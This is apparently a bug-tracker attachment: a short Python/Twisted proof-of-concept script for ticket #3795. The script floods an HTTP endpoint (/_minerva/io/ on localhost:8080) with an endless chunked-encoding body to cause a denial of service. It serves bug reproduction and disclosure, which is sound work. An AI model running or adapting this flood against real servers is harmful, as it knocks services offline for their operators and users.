Ticket #3795: poc-3795.py

File poc-3795.py, 0.8 KB (added by MostAwesomeDude, 18 months ago)

PoC for #3795, from ivan.

Line 
1import sys
2from twisted.python import log
3log.startLogging(sys.stdout)
4
5from twisted.internet import reactor
6from twisted.internet.protocol import Factory, Protocol
7from twisted.internet.endpoints import TCP4ClientEndpoint
8
9class Greeter(Protocol):
10        def dataReceived(self, data):
11                print "Got:", repr(data)
12
13        def doDoS(self):
14                self.transport.setTcpNoDelay(True)
15                self.transport.write("POST /_minerva/io/ HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n")
16                reactor.callLater(0.001, self.sendMore)
17
18        def sendMore(self):
19                print "."
20                reactor.callLater(0.001, self.sendMore)
21                self.transport.write("7" * 4096)
22
23class GreeterFactory(Factory):
24        def buildProtocol(self, addr):
25                return Greeter()
26
27def gotProtocol(p):
28        p.doDoS()
29
30point = TCP4ClientEndpoint(reactor, "localhost", 8080)
31d = point.connect(GreeterFactory())
32d.addCallback(gotProtocol)
33reactor.run()